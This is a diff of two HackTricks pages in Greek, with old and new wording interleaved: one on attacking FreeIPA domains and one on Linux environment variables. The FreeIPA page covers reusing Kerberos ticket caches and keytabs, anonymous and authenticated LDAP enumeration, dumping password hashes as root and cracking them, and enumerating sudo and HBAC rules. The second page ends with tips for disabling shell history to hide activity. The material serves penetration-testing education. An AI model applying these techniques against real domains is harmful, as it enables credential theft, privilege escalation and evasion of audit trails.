- Το αρχείο στη διαδρομή `/etc/krb5.conf` είναι όπου αποθηκεύονται οι πληροφορίες του πελάτη Kerberos, που είναι απαραίτητες για την εγγραφή στον τομέα. Αυτό περιλαμβάνει τις τοποθεσίες των KDCs και των διακομιστών διαχείρισης, τις προεπιλεγμένες ρυθμίσεις και τις αντιστοιχίσεις.
- Οι προεπιλεγμένες ρυθμίσεις για τους πελάτες και τους διακομιστές IPA ορίζονται στο αρχείο που βρίσκεται στη διαδρομή `/etc/ipa/default.conf`.
- Οι κόμβοι εντός του τομέα πρέπει να έχουν ένα αρχείο `krb5.keytab` στη διαδρομή `/etc/krb5.keytab` για τις διαδικασίες πιστοποίησης.
- Διάφορες μεταβλητές περιβάλλοντος (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) χρησιμοποιούνται για να δείχνουν συγκεκριμένα αρχεία και ρυθμίσεις που σχετίζονται με την πιστοποίηση Kerberos.
* Το αρχείο στο `/etc/krb5.conf` είναι όπου αποθηκεύονται οι πληροφορίες του πελάτη Kerberos, απαραίτητες για την εγγραφή στο τομέα. Αυτό περιλαμβάνει τις τοποθεσίες των KDCs και των διακομιστών διαχείρισης, τις προεπιλεγμένες ρυθμίσεις και τους χάρτες.
* Οι προεπιλεγμένες ρυθμίσεις για τους πελάτες και τους διακομιστές IPA ορίζονται στο αρχείο που βρίσκεται στο `/etc/ipa/default.conf`.
* Οι υπολογιστές εντός του τομέα πρέπει να έχουν ένα αρχείο `krb5.keytab` στο `/etc/krb5.keytab` για τις διαδικασίες αυθεντικοποίησης.
* Διάφορες μεταβλητές περιβάλλοντος (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) χρησιμοποιούνται για να δείχνουν σε συγκεκριμένα αρχεία και ρυθμίσεις που σχετίζονται με την αυθεντικοποίηση Kerberos.
### Δυαδικά Αρχεία
### Binaries
Εργαλεία όπως το `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` και `kvno` είναι κεντρικά για τη διαχείριση των τομέων FreeIPA, την χειρισμό των εισιτηρίων Kerberos, την αλλαγή κωδικών πρόσβασης και την απόκτηση εισιτηρίων υπηρεσιών, μεταξύ άλλων λειτουργιών.
Εργαλεία όπως `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, και `kvno` είναι κεντρικά για τη διαχείριση τομέων FreeIPA, τη διαχείριση εισιτηρίων Kerberos, την αλλαγή κωδικών πρόσβασης και την απόκτηση εισιτηρίων υπηρεσιών, μεταξύ άλλων λειτουργιών.
### Δίκτυο
### Network
Παρέχεται μια εικόνα για να απεικονίσει μια τυπική εγκατάσταση διακομιστή FreeIPA.
Παρέχεται μια απεικόνιση για να απεικονίσει μια τυπική ρύθμιση διακομιστή FreeIPA.
## Πιστοποίηση
## Authentication
Η πιστοποίηση στο FreeIPA, εκμεταλλευόμενη το **Kerberos**, αντικατοπτρίζει αυτήν στο **Active Directory**. Η πρόσβαση σε πόρους του τομέα απαιτεί ένα έγκυρο εισιτήριο Kerberos, το οποίο μπορεί να αποθηκευτεί σε διάφορες τοποθεσίες ανάλογα με τη διαμόρφωση του τομέα FreeIPA.
Η αυθεντικοποίηση στο FreeIPA, αξιοποιώντας το **Kerberos**, αντικατοπτρίζει αυτήν στο **Active Directory**. Η πρόσβαση στους πόρους του τομέα απαιτεί ένα έγκυρο εισιτήριο Kerberos, το οποίο μπορεί να αποθηκευτεί σε διάφορες τοποθεσίες ανάλογα με τη διαμόρφωση του τομέα FreeIPA.
### **Αρχεία CCACHE Ticket**
### **CCACHE Ticket Files**
Τα αρχεία CCACHE, που αποθηκεύονται συνήθως στο **`/tmp`** με δικαιώματα **600**, είναι δυαδικά μορφότυπα για την αποθήκευση διαπιστευτηρίων Kerberos, σημαντικά για την πιστοποίηση χωρίς τον καθαρό κείμενο κωδικό πρόσβασης του χρήστη λόγω της φορητότητάς τους. Η ανάλυση ενός εισιτηρίου CCACHE μπορεί να γίνει χρησιμοποιώντας την εντολή `klist`, και η επαναχρησιμοποίηση ενός έγκυρου εισιτηρίου CCACHE περιλαμβάνει την εξαγωγή του `KRB5CCNAME` στη διαδρομή του αρχείου εισιτηρίου.
Τα αρχεία CCACHE, που αποθηκεύονται συνήθως στο **`/tmp`** με δικαιώματα **600**, είναι δυαδικές μορφές για την αποθήκευση διαπιστευτηρίων Kerberos, σημαντικά για την αυθεντικοποίηση χωρίς τον απλό κωδικό πρόσβασης του χρήστη λόγω της φορητότητάς τους. Η ανάλυση ενός εισιτηρίου CCACHE μπορεί να γίνει χρησιμοποιώντας την εντολή `klist`, και η επαναχρησιμοποίηση ενός έγκυρου εισιτηρίου CCACHE περιλαμβάνει την εξαγωγή του `KRB5CCNAME` στη διαδρομή του αρχείου εισιτηρίου.
### **Κλειδαριά Unix**
### **Unix Keyring**
Εναλλακτικά, τα εισιτήρια CCACHE μπορούν να αποθηκευτούν στο Linux keyring, προσφέρον
Εναλλακτικά, τα εισιτήρια CCACHE μπορούν να αποθηκευτούν στο κλειδί του Linux, προσφέροντας περισσότερη έλεγχο στη διαχείριση εισιτηρίων. Η έκταση της αποθήκευσης εισιτηρίων ποικίλλει (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), με το `klist` ικανό να αναλύει αυτές τις πληροφορίες για τον χρήστη. Ωστόσο, η επαναχρησιμοποίηση ενός εισιτηρίου CCACHE από το Unix keyring μπορεί να προκαλέσει προκλήσεις, με εργαλεία όπως το **Tickey** διαθέσιμα για την εξαγωγή εισιτηρίων Kerberos.
### Keytab
Τα αρχεία keytab, που περιέχουν Kerberos principals και κρυπτογραφημένα κλειδιά, είναι κρίσιμα για την απόκτηση έγκυρων εισιτηρίων χορήγησης εισιτηρίων (TGT) χωρίς να χρειάζεται ο κωδικός πρόσβασης του principal. Η ανάλυση και η επαναχρησιμοποίηση διαπιστευτηρίων από αρχεία keytab μπορεί να γίνει εύκολα με βοηθητικά προγράμματα όπως το `klist` και σενάρια όπως το **KeytabParser**.
### Cheatsheet
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το πώς να χρησιμοποιήσετε τα εισιτήρια στο linux στον παρακάτω σύνδεσμο:
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
{% endcontent-ref %}
## Enumeration
{% hint style="warning" %}
Μπορείτε να εκτελέσετε την **enumeration** μέσω **ldap** και άλλων **binary** εργαλείων, ή **συνδέοντας στη σελίδα web στην πόρτα 443 του διακομιστή FreeIPA**.
{% endhint %}
### Hosts, Users, and Groups <a href="#id-4b3b" id="id-4b3b"></a>
Είναι δυνατή η δημιουργία **hosts**, **users** και **groups**. Οι υπολογιστές και οι χρήστες ταξινομούνται σε κοντέινερ που ονομάζονται “**Host Groups**” και “**User Groups**” αντίστοιχα. Αυτά είναι παρόμοια με τις **Οργανωτικές Μονάδες** (OU).
Από προεπιλογή στο FreeIPA, ο διακομιστής LDAP επιτρέπει **ανώνυμες συνδέσεις**, και μια μεγάλη ποσότητα δεδομένων είναι αναγνωρίσιμη **χωρίς αυθεντικοποίηση**. Αυτό μπορεί να αναγνωρίσει όλα τα διαθέσιμα δεδομένα χωρίς αυθεντικοποίηση:
```
ldapsearch -x
```
Για να λάβετε **περισσότερες πληροφορίες**, πρέπει να χρησιμοποιήσετε μια **επαληθευμένη** συνεδρία (ελέγξτε την ενότητα Επαλήθευση για να μάθετε πώς να προετοιμάσετε μια επαληθευμένη συνεδρία).
Για να αποκτήσετε **περισσότερες πληροφορίες** πρέπει να χρησιμοποιήσετε μια **επαληθευμένη** συνεδρία (ελέγξτε την ενότητα Επαλήθευσης για να μάθετε πώς να προετοιμάσετε μια επαληθευμένη συνεδρία).
```bash
# Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -63,7 +88,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
```
Από ένα μηχάνημα που έχει ενταχθεί στον τομέα, θα μπορείτε να χρησιμοποιήσετε τα **εγκατεστημένα δυαδικά αρχεία** για να απαριθμήσετε τον τομέα:
Από μια μηχανή που είναι συνδεδεμένη σε τομέα, θα μπορείτε να χρησιμοποιήσετε **εγκατεστημένα δυαδικά αρχεία** για να καταγράψετε τον τομέα:
```bash
ipa user-find
ipa usergroup-find
@ -81,30 +106,30 @@ ipa hostgroup-show <host group> --all
Ο χρήστης **admin** του **FreeIPA** είναι ισοδύναμος με τους **domain admins** από το **AD**.
{% endhint %}
### Hashes <a href="#482b" id="482b"></a>
### Hashes <a href="#id-482b" id="id-482b"></a>
Ο χρήστης **root** από τον διακομιστή **IPA** έχει πρόσβαση στις **κατακερματισμένες** κωδικοποιήσεις.
Ο χρήστης **root** από τον **IPA server** έχει πρόσβαση στους κωδικούς πρόσβασης **hashes**.
* Ο κατακερματισμένος κωδικός ενός χρήστη αποθηκεύεται ως **base64** στο χαρακτηριστικό "**userPassword**". Αυτός ο κατακερματισμένος κωδικός μπορεί να είναι **SSHA512** (παλιές εκδόσεις του FreeIPA) ή **PBKDF2\_SHA256**.
* Το **Nthash** του κωδικού αποθηκεύεται ως **base64** στο "ipaNTHash" αν το σύστημα έχει **ενσωμάτωση** με το **AD**.
* Ο κωδικός πρόσβασης hash ενός χρήστη αποθηκεύεται ως **base64** στο “**userPassword**” **attribute**. Αυτός ο hash μπορεί να είναι **SSHA512** (παλιές εκδόσεις του FreeIPA) ή **PBKDF2\_SHA256**.
* Ο **Nthash** του κωδικού αποθηκεύεται ως **base64** στο “**ipaNTHash**” αν το σύστημα έχει **integration** με το **AD**.
Για να αποκρυπτογραφήσετε αυτές τις κατακερματισμένες κωδικοποιήσεις:
Για να σπάσετε αυτούς τους hashes:
Εάν το freeIPA έχει ενσωμάτωση με το AD, το **ipaNTHash** είναι εύκολο να αποκρυπτογραφηθεί: Θα πρέπει να **αποκωδικοποιήσετε** το **base64** -> να το ξανακωδικοποιήσετε ως **ASCII** hex -> Ο John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το αποκρυπτογραφήσετε γρήγορα
Αν το freeIPA είναι ενσωματωμένο με το AD, ο **ipaNTHash** είναι εύκολο να σπάσει: Πρέπει να **decode** **base64** -> να το ξανακωδικοποιήσετε ως **ASCII** hex -> ο John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το σπάσετε γρήγορα
Εάν χρησιμοποιείται μια παλιά έκδοση του FreeIPA, τότε χρησιμοποιείται το **SSHA512**: Θα πρέπει να αποκωδικοποιήσετε το **base64** -> να βρείτε το SSHA512 **hash** -> Ο John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το αποκρυπτογραφήσετε
Αν χρησιμοποιείται παλιά έκδοση του FreeIPA, τότε χρησιμοποιείται **SSHA512**: Πρέπει να αποκωδικοποιήσετε **base64** -> να βρείτε τον SSHA512 **hash** -> ο John The Ripper ή το **hashcat** μπορούν να σας βοηθήσουν να το σπάσετε
Εάν χρησιμοποιείται νέα έκδοση του FreeIPA, τότε χρησιμοποιείται το **PBKDF2\_SHA256**: Θα πρέπει να αποκωδικοποιήσετε το **base64** -> να βρείτε το PBKDF2\_SHA256 -> το μήκος του είναι 256 byte. Ο John μπορεί να λειτουργήσει με 256 bits (32 byte) -> Το SHA-265 χρησιμοποιείται ως η ψευδο-τυχαία συνάρτηση, το μέγεθος του μπλοκ είναι 32 byte -> μπορείτε να χρησιμοποιήσετε μόνο τα πρώτα 256 bit του κατακερματισμένου PBKDF2\_SHA256 -> Ο John The Ripper ή το hashcat μπορούν να σας βοηθήσουν να το αποκρυπτογραφήσετε
Αν χρησιμοποιείται νέα έκδοση του FreeIPA, τότε χρησιμοποιείται **PBKDF2\_SHA256**: Πρέπει να αποκωδικοποιήσετε **base64** -> να βρείτε PBKDF2\_SHA256 -> το **length** του είναι 256 byte. Ο John μπορεί να δουλέψει με 256 bits (32 byte) -> το SHA-265 χρησιμοποιείται ως η ψευδο-τυχαία συνάρτηση, το μέγεθος μπλοκ είναι 32 byte -> μπορείτε να χρησιμοποιήσετε μόνο τα πρώτα 256 bit του hash PBKDF2\_SHA256 -> ο John The Ripper ή το hashcat μπορούν να σας βοηθήσουν να το σπάσετε
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure>
Για να εξαγάγετε τις κατακερματισμένες κωδικοποιήσεις, πρέπει να είστε **root στον διακομιστή FreeIPA**, εκεί μπορείτε να χρησιμοποιήσετε το εργαλείο **`dbscan`** για να τις εξαγάγετε:
Για να εξάγετε τους hashes πρέπει να είστε **root στον FreeIPA server**, εκεί μπορείτε να χρησιμοποιήσετε το εργαλείο **`dbscan`** για να τους εξάγετε:
<figure><img src="../.gitbook/assets/image (196).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure>
### Κανόνες HBAC <a href="#482b" id="482b"></a>
### HBAC-Rules <a href="#id-482b" id="id-482b"></a>
Αυτοί είναι οι κανόνες που χορηγούν συγκεκριμένα δικαιώματα σε χρήστες ή οικοδεσπότες για πόρους (οικοδεσπότες, υπηρεσίες, ομάδες υπηρεσιών...)
Υπάρχουν οι κανόνες που παρέχουν συγκεκριμένες άδειες σε χρήστες ή hosts πάνω σε πόρους (hosts, υπηρεσίες, ομάδες υπηρεσιών...)
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -113,9 +138,9 @@ ipa hbacrule-find
# Show info of rule
ipa hbacrule-show <hbacrule> --all
```
#### Κανόνες Sudo
#### Sudo-Rules
Το FreeIPA επιτρέπει τον κεντρικό έλεγχο των δικαιωμάτων **sudo** μέσω των κανόνων sudo. Αυτοί οι κανόνες επιτρέπουν ή περιορίζουν την εκτέλεση εντολών με το sudo σε υπολογιστές εντός του τομέα. Ένας επιτιθέμενος θα μπορούσε ενδεχομένως να εντοπίσει τους σχετικούς υπολογιστές, χρήστες και επιτρεπόμενες εντολές εξετάζοντας αυτούς τους κανόνες.
Το FreeIPA επιτρέπει την κεντρική διαχείριση των **sudo permissions** μέσω των sudo-rules. Αυτοί οι κανόνες επιτρέπουν ή περιορίζουν την εκτέλεση εντολών με sudo σε hosts εντός του τομέα. Ένας επιτιθέμενος θα μπορούσε δυνητικά να εντοπίσει τους εφαρμοστέους hosts, χρήστες και επιτρεπόμενες εντολές εξετάζοντας αυτά τα σύνολα κανόνων.
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -124,17 +149,17 @@ ipa sudorule-find
# Show info of rule
ipa sudorule-show <sudorule> --all
```
### Έλεγχος Πρόσβασης με Βάση τον Ρόλο
### Έλεγχος Πρόσβασης Βασισμένος σε Ρόλους
Ένας **ρόλος** αποτελείται από διάφορα **προνόμια**, τα οποία περιλαμβάνουν μια συλλογή από **δικαιώματα**. Αυτοί οι ρόλοι μπορούν να ανατεθούν σε Χρήστες, **Ομάδες** Χρηστών, **Υπολογιστές**, Ομάδες Υπολογιστών και Υπηρεσίες. Για παράδειγμα, ας θεωρήσουμε τον προεπιλεγμένο ρόλο "Διαχειριστής Χρηστών" στο FreeIPA για να εξηγήσουμε αυτήν τη δομή.
Ένας **ρόλος** αποτελείται από διάφορα **προνόμια**, το καθένα από τα οποία περιλαμβάνει μια συλλογή **αδειών**. Αυτοί οι ρόλοι μπορούν να ανατεθούν σε Χρήστες, Ομάδες Χρηστών, **Hosts**, Ομάδες Hosts και Υπηρεσίες. Για παράδειγμα, εξετάστε τον προεπιλεγμένο ρόλο “Διαχειριστής Χρηστών” στο FreeIPA για να παραδείξετε αυτή τη δομή.
Ο ρόλος `Διαχειριστής Χρηστών` έχει τα εξής προνόμια:
Ο ρόλος `Διαχειριστής Χρηστών` έχει αυτά τα προνόμια:
* **Διαχειριστές Χρηστών**
* **Διαχειριστές Ομάδων**
* **Διαχειριστές Σκηνικών Χρηστών**
* **Διαχειριστές Χρηστών Σταδίου**
Με τις παρακάτω εντολές είναι δυνατό να απαριθμήσετε τους ρόλους, τα προνόμια και τα δικαιώματα:
Με τις παρακάτω εντολές είναι δυνατή η απαρίθμηση των ρόλων, προνομίων και αδειών:
```bash
# Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
@ -146,43 +171,45 @@ ipa privilege-show <privilege> --all
ipa permission-find
ipa permission-show <permission> --all
```
### Παράδειγμα Σεναρίου Επίθεσης
### Σενάριο Επίθεσης Παράδειγμα
Στο [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) μπορείτε να βρείτε ένα απλό παράδειγμα πώς να καταχραστείτε ορισμένες άδειες για να διακινδυνεύσετε τον τομέα.
Στο [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) μπορείτε να βρείτε ένα απλό παράδειγμα για το πώς να εκμεταλλευτείτε κάποιες άδειες για να συμβιβάσετε το domain.
### Linikatz/LinikatzV2
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
## Ανύψωση Προνομίων
## Privesc
### ~~Δημιουργία χρήστη root~~
### ~~δημιουργία χρήστη root~~
{% hint style="warning" %}
Εάν μπορείτε να **δημιουργήσετε ένα νέο χρήστη με το όνομα `root`**, μπορείτε να προσποιηθείτε ως αυτόν και θα μπορείτε να **συνδεθείτε μέσω SSH σε οποιονδήποτε υπολογιστή ως root**.
Αν μπορείτε να **δημιουργήσετε έναν νέο χρήστη με το όνομα `root`**, μπορείτε να τον μιμηθείτε και θα μπορείτε να **SSH σε οποιαδήποτε μηχανή ως root.**
**ΑΥΤΟ ΈΧΕΙ ΔΙΟΡΘΩΘΕΊ.**
**ΑΥΤΟ ΕΧΕΙ ΔΙΟΡΘΩΘΕΙ.**
{% endhint %}
Μπορείτε να ελέγξετε μια λεπτομερή εξήγηση στο [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
## Αναφορές
* [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Μεταβλητές Περιβάλλοντος του Linux
# Linux Environment Variables
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,30 +23,30 @@
***
## Παγκόσμιες μεταβλητές
## Global variables
Οι παγκόσμιες μεταβλητές **θα κληρονομηθούν** από τις **υποδιεργασίες**.
Οι παγκόσμιες μεταβλητές **θα κληρονομηθούν** από **διεργασίες παιδιών**.
Μπορείτε να δημιουργήσετε μια παγκόσμια μεταβλητή για την τρέχουσα συνεδρία σας κάνοντας:
```bash
export MYGLOBAL="hello world"
echo $MYGLOBAL #Prints: hello world
```
Αυτή η μεταβλητή θα είναι προσβάσιμη από τις τρέχουσες συνεδρίες σας και τις παιδικές διεργασίες τους.
Αυτή η μεταβλητή θα είναι προσβάσιμη από τις τρέχουσες συνεδρίες σας και τις διεργασίες παιδιών της.
Μπορείτε **να αφαιρέσετε** μια μεταβλητή κάνοντας:
Μπορείτε να **αφαιρέσετε** μια μεταβλητή κάνοντας:
```bash
unset MYGLOBAL
```
## Τοπικές μεταβλητές
Οι **τοπικές μεταβλητές** μπορούν να **προσπελαστούν** μόνο από το **τρέχον κέλυφος/σενάριο**.
Οι **τοπικές μεταβλητές** μπορούν να **προσεγγιστούν** μόνο από το **τρέχον shell/script**.
```bash
LOCAL="my local"
echo $LOCAL
unset LOCAL
```
## Κατάλογος τρέχουσων μεταβλητών
## Λίστα τρεχουσών μεταβλητών
```bash
set
env
@ -53,77 +54,77 @@ printenv
cat /proc/$$/environ
cat /proc/`python -c "import os; print(os.getppid())"`/environ
```
## Κοινές μεταβλητές
## Common variables
Από: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** το display που χρησιμοποιείται από το **X**. Αυτή η μεταβλητή συνήθως ορίζεται σε **:0.0**, που σημαίνει την πρώτη εμφάνιση στον τρέχοντα υπολογιστή.
* **DISPLAY** η οθόνη που χρησιμοποιείται από **X**. Αυτή η μεταβλητή συνήθως ορίζεται σε **:0.0**, που σημαίνει την πρώτη οθόνη στον τρέχοντα υπολογιστή.
* **EDITOR** ο προτιμώμενος επεξεργαστής κειμένου του χρήστη.
* **HISTFILESIZE** το μέγιστο αριθμό γραμμών που περιέχονται στο αρχείο ιστορικού.
* **HISTSIZE** Ο αριθμός των γραμμών που προστίθενται στο αρχείο ιστορικού όταν ο χρήστης ολοκληρώνει τη συνεδρία του.
* **HOME** ο κατάλογος του χρήστη.
* **HISTFILESIZE** ο μέγιστος αριθμός γραμμών που περιέχονται στο αρχείο ιστορικού.
* **HISTSIZE** Αριθμός γραμμών που προστίθενται στο αρχείο ιστορικού όταν ο χρήστης ολοκληρώνει τη συνεδρία του.
* **HOME** ο κατάλογος του σπιτιού σας.
* **HOSTNAME** το όνομα του υπολογιστή.
* **LANG** η τρέχουσα γλώσσα σας.
* **MAIL** η τοποθεσία του spool αλληλογραφίας του χρήστη. Συνήθως **/var/spool/mail/USER**.
* **MANPATH** η λίστα των καταλόγων που αναζητούνται για εγχειρίδια.
* **MAIL** η τοποθεσία του ταχυδρομικού σπιτιού του χρήστη. Συνήθως **/var/spool/mail/USER**.
* **MANPATH** η λίστα των καταλόγων για αναζήτηση σε σελίδες εγχειριδίων.
* **OSTYPE** ο τύπος του λειτουργικού συστήματος.
* **PS1** η προεπιλεγμένη προτροπή στο bash.
* **PATH** αποθηκεύει τη διαδρομή όλων των καταλόγων που περιέχουν δυαδικά αρχεία που θέλετε να εκτελέσετε απλώς αναφέροντας το όνομα του αρχείου και όχι με σχετική ή απόλυτη διαδρομή.
* **PATH** αποθηκεύει τη διαδρομή όλων των καταλόγων που περιέχουν δυαδικά αρχεία που θέλετε να εκτελέσετε απλά καθορίζοντας το όνομα του αρχείου και όχι με σχετική ή απόλυτη διαδρομή.
* **PWD** ο τρέχων κατάλογος εργασίας.
* **SHELL** η διαδρομή προς το τρέχον κέλυφος εντολών (για παράδειγμα, **/bin/bash**).
* **SHELL** η διαδρομή προς την τρέχουσα εντολή shell (για παράδειγμα, **/bin/bash**).
* **TERM** ο τρέχων τύπος τερματικού (για παράδειγμα, **xterm**).
* **TZ** η ζώνη ώρας σας.
* **USER** το τρέχον όνομα χρήστη σας.
## Ενδιαφέρουσες μεταβλητές για χακινγκ
## Interesting variables for hacking
### **HISTFILESIZE**
Αλλάξτε τη **τιμή αυτής της μεταβλητής σε 0**, έτσι όταν **τερματίσετε τη συνεδρία σας** το **αρχείο ιστορικού** (\~/.bash\_history) **θα διαγραφεί**.
Αλλάξτε την **τιμή αυτής της μεταβλητής σε 0**, ώστε όταν **τερματίσετε τη συνεδρία σας** το **αρχείο ιστορικού** (\~/.bash\_history) **να διαγραφεί**.
```bash
export HISTFILESIZE=0
```
### **HISTSIZE**
Αλλάξτε τη **τιμή αυτής της μεταβλητής σε 0**, έτσι ώστε όταν **τερματίσετε τη συνεδρία σας** καμία εντολή δεν θα προστεθεί στο **αρχείο ιστορικού** (\~/.bash\_history).
